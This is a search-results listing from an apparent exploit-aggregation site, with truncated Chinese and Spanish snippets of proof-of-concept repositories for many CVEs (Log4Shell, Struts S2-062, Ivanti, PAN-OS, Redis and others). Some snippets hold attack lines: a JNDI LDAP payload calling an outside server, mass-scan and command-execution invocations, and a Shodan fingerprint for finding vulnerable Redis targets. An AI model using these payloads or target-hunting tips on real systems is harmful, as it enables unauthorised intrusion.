270359 matches found
CVE-2026-33827
🔴 CVE-2026-33827: Ejecución Remota de Código RCE en TCP/IP de Windows 📌 概述 CVE-2026-33827 是一个影响 Windows TCP/IP 网络栈的严重远程代码执行（RCE）漏洞。它被归类为 竞态条件（Race Condition）缺陷，原因是网络处理过程中共享资源同步不当。 未经身份验证 的攻击者可以通过向启用了 IPSec 的 Windows 节点发送特制的 IPv6 数据包来利用此漏洞，从而在无需用户交互 的情况下以系统权限 执行任意代码。 ⚠️ 严重影响 ：无需凭据即可完全控制系统 📊...
log4shell
Log4Shell 本项目演示了log4shell安全漏洞的工作原理。 该漏洞在CVE-2021-44228中有详细描述。 本项目仅用于教学目的。 只能在您自己的系统上使用，且仅用于实验目的。 任何执行操作的风险均由您自行承担。 作者对因执行本项目而导致的任何事故概不负责。 命令示例 root@kitploit: ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello '$jndi:ldap://'"$ldapserver"'/run=log4shell.Exploit' hello...
S2-062
S2-062 CVE-2021-31805/s2-062 批量扫描及漏洞利用 请遵守法律法规，禁止未授权攻击网站系统 使用说明 批量扫描模式 root@kitploit: python3 CVE-2021-31805.py -m scan -f 123.txt 命令执行模式 root@kitploit: python3 CVE-2021-31805.py -u https://xxx.xxx.com:8080 -c id...
CVE-2021-44529
CVE-2021-44529 厂商主页：https://www.ivanti.com/ 软件链接：https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 版本：CSA 4.6 4.5 - 2021年8月停止支持（EOF） 执行 root@kitploit: python3 exploit.py 示例 root@kitploit: python3 exploit.py 'https://x.x.x.x' 'ls' LDMGdeploy.pdf LDSupport.exe...
CVE-2026-1731
BeyondTrust CVE-2026-1731 扫描器 用于检测 BeyondTrust Remote Support / Privileged Remote Access 暴露情况的专业 Python 扫描器。 开发者：issam junior Telegram：https://t.me/arabhackerzgroup CVE-2026-1731 — BeyondTrust 远程代码执行漏洞 CVE-2026-1731 是一个影响 BeyondTrust Privileged Remote Access PRA 和 Remote Support RS 解决方案的严重远程代码执行...
CVE-2026-1457
CVE-2026-1457：TP-Link VIGI C385 认证远程代码执行漏洞 概述 CVE-2026-1457 是 TP-Link VIGI C385 V1 网络 API 中的一个认证缓冲区溢出漏洞。该漏洞允许已认证的攻击者执行远程代码执行（RCE）。 CVSS v4.0 评分：8.5（高危） CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 受影响产品 产品型号| 受影响版本 ---|--- VIGI C385 V1| 3.1.1 Build 251124 Rel.50371n 漏洞详情 漏洞位置...
wonderplugin
Wonderplugin para RCE ¡NO USES ESTE PLUGIN FALSO EN TU SERVIDOR WEB DE PRODUCCIÓN! Este repositorio está destinado a probar una vulnerabilidad en WonderCMS; este plugin falso contiene una puerta trasera web shell, que puedes encontrar en el archivo evil.php. Artículo relacionado WonderCMS 3.1.3 -...
CVE-2026-3844
CVE-2026-3844 — Breeze Cache 远程代码执行 未认证任意文件上传 → 远程代码执行 字段| 值 ---|--- CVE| CVE-2026-3844 CVSS| 9.8（严重） 插件| Breeze Cache Cloudways 受影响版本| ≤ 2.4.4 修复版本| 2.4.5 发现者| Hung Nguyen bashu PoC 作者| halilkirazkaya 概述 Breeze Cache WordPress 插件（≤...
CVE-2026-33725
CVE-2026-33725 一个针对 CVE-2026-33725 的概念验证漏洞利用程序，该漏洞是 Metabase 中 EE 序列化导入时通过 H2 JDBC INIT 注入导致的远程代码执行和任意文件读取漏洞。 受影响版本 Metabase Enterprise ≥ v1.47 且 v1.54.22 Metabase Enterprise ≥ v1.54.0 且 v1.54.22 Metabase Enterprise ≥ v1.55.0 且 v1.55.22 Metabase Enterprise ≥ v1.56.0 且 v1.56.22 Metabase Enterprise...
CVE-2026-34159-Vulnerability-Research-Analysis-Detection
CVE-2026-34159-漏洞研究-分析-检测 deserializetensor 中的关键缓冲区验证绕过（llama.cpp b8492）。空张量缓冲区跳过边界检查，从而可通过 GRAPHCOMPUTE 实现未认证的任意读写。通过 TCP 50052 实现 ASLR 绕过及 RCE。 包含： 技术分析与漏洞利用链 完整的 Wireshark PCAP（HELLO→BUFFERCLEAR） Suricata/Snort 签名 实验室复现（Windows b8487 + WSL PoC） 检测/缓解策略...
Apache-CVE-2026-23918-fix
Apache HTTP Server：http2：早期重置时的双重释放及可能的RCE（CVE-2026-23918）。Apache HTTP Server 在 HTTP/2 协议中存在双重释放及可能的 RCE 漏洞。 此问题影响 Apache HTTP Server：2.4.66。 建议用户升级至修复了该问题的 2.4.67 版本。...
PAN-OS-User-ID-Buffer-Overflow-PoC
🛡️ CVE-2026-0300: Análisis de RCE en el Portal User-ID™ de PAN-OS Prueba de Concepto de Investigación: CWE-787 Escritura Fuera de Límites 📌 Resumen CVE-2026-0300 es una vulnerabilidad de desbordamiento de búfer de alta gravedad identificada en el Portal de Autenticación User-ID™ Portal Cautivo de...
CVE-2026-0300-PANOS
CVE-2026-0300-PANOS 🔓 Palo Alto Networks PAN-OS User-ID 门户中的未认证远程代码执行（RCE）漏洞 📋 漏洞详情 描述 本仓库包含针对 CVE-2026-0300 的安全研究与概念验证（PoC）演示，这是 Palo Alto Networks PAN-OS 中的一个严重漏洞，允许未认证攻击者在易受攻击的系统上执行任意代码。 ⚠️ 免责声明 ⚠️ 重要法律声明 本仓库仅 用于教育和授权安全研究目的。 🚫 请勿 将本代码用于您不拥有或未经明确许可测试的系统 📜 在大多数司法管辖区，未经授权访问计算机系统是非法的 🔒...
Ashwesker-CVE-2026-20045
🚨 CVE-2026-20045 — Desglose del Día Cero 🚨 🧨 Qué es Una vulnerabilidad crítica de ejecución remota de código RCE que afecta a múltiples productos de Cisco Unified Communications. Fue explotada activamente en el mundo real antes de que se publicaran los parches. 🔥 Por qué es peligrosa 🚫 No requier...
cve-2026-21962
CVE-2026-21962 — 因 URI 规范化导致的路径遍历提权 / 远程代码执行 发现者： gregk4sec https://github.com/gregk4sec/cve 发现日期： 2025-09-24 受影响厂商： Oracle 受影响产品： Oracle OHS / WebLogic Server 的 Apache HTTP Server 代理插件、WebLogic Server 的 IIS 代理插件 严重性： 严重 / CVSS 10.0 CVSSv3.1 基础评分： 10.0 CVSS 向量：...
CVE-2026-3844
CVE-2026-3844 — Breeze Cache = 2.4.4 Subida Arbitraria de Archivos No Autenticada a RCE Resumen...
cve-2026-33937
CVE-2026-33937 - PoC de explotación RCE en Handlebars Descripción CVE-2026-33937 es una vulnerabilidad crítica de Ejecución Remota de Código RCE en Handlebars causada por el manejo inseguro de la entrada del Árbol de Sintaxis Abstracta AST. La vulnerabilidad permite a los atacantes inyectar códig...
CVE-2026-26720-Twenty-RCE
Twenty CRM - Ejecución Remota de Código Autenticada RCE Resumen Producto: Twenty CRM Vulnerabilidad: Ejecución Remota de Código RCE a través de Funciones Serverless de Workflows Severidad: Crítica Componente Afectado: Automatización de Workflows Código - Función Serverless Versión Probada: v1.15....
CVE-2025-49844
CVE-2025-49844 – Redis Lua解析器中的Use-After-Free漏洞 简单来说，运行这个脚本，把 root@kitploit: localhost 替换成目标IP，然后设置好端口，如果目标存在漏洞就能连接上，你可以执行任意想要的命令。 在Shodan中，你也可以用这个指纹来查找存在漏洞的目标 root@kitploit: product:"Redis key-value store" 检查版本是否低于8.2 执行漏洞利用 root@kitploit: while redis-cli -h localhost -p 6379 --eval...